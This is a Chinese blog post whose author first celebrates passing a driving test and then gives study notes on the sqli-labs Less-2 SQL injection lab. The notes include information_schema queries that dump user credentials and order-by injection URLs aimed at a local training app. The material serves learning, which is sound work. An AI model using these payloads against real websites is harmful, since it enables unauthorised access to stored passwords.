今天拿到驾照啦~就很快落o! 没想到我这么胆小的又呆头鹅人也可以拿到(●ˇ∀ˇ●)!!因为疫情原因在学校被封闭了好久,导致战线拉得很长别人都是四十天我是四个月诶╥﹏╥... 但!!结果总归是好的,这是②〇②①年的第一个证书了(●'◡'●)
突然惊奇的发现less01和less02的测试流程好像欸~
一.复习MySQL常见查询语句
select table_name from information_schema.tables where table_schema = 'security';
select column_name from information_schema.columns where table_name = 'users';
select id,username,password from security.users;
二.输入语句进行测试
1.
在文本框中语句后加 '
根据显示的错误,判断存在基本的注入漏洞
和第一关的区别是:第一关是select * from user where id = '$传参'(图见上一篇less01https://blog.csdn.net/DebbieLi_Ca/article/details/113575635);第二关是select * from user where id = $传参
2.使用order by语句查询(和less01的差别是在id值后面没有了’ 因为传值方式不同)
http://localhost/sqli-labs-master/Less-2/?id=1 order by 1--+
http://localhost/sqli-labs-master/Less-2/?id=1 order by 2--+
http://localhost/sqli-labs-master/Less-2/?id=1 order by 3--+
http://localhost/sqli-labs-master/Less-2/?id=1 order by 4--+时报错说明只有三列
(order by具体用法见https://blog.csdn.net/DebbieLi_Ca/article/details/113575635)
3.其余测试参照less01步骤